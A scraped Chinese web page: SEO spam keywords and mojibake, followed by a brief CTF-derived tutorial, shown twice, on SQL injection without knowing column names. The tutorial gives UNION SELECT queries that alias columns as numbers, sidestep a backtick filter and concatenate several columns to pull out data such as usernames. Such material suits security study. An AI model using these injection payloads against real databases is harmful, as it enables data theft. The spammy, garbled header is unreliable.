电脑上wap网站手机参数查询网站

电脑上wap网站,手机参数查询网站,成都搜狗seo,wordpress鏁版嵁参考https://err0r.top/article/mardasctf/ 这是一张table表 假设在不知道列名的情况下#xff0c;我们想查询一下列的内容 select 1,2,3,4,5 union select * from table; 这里的列数是需要猜测的 执行语句后 可以看到这里所有的列名都变成了数字#xff0c;那么接下来想要…参考https://err0r.top/article/mardasctf/这是一张table表假设在不知道列名的情况下我们想查询一下列的内容select 1,2,3,4,5 union select * from table;这里的列数是需要猜测的执行语句后可以看到这里所有的列名都变成了数字那么接下来想要查询列的话select 2 from (select 1,2,3,4,5 union select * from table)a;这样就查询到了原来username列的数据如果反引号被过滤select a from (select 1,2 as a,3,4,5 union select * from table)a;如果想同时查询多个列select concat(b,0x2d,c) from (select 1,2 as b,3 as c,4,5 union select * from table)a;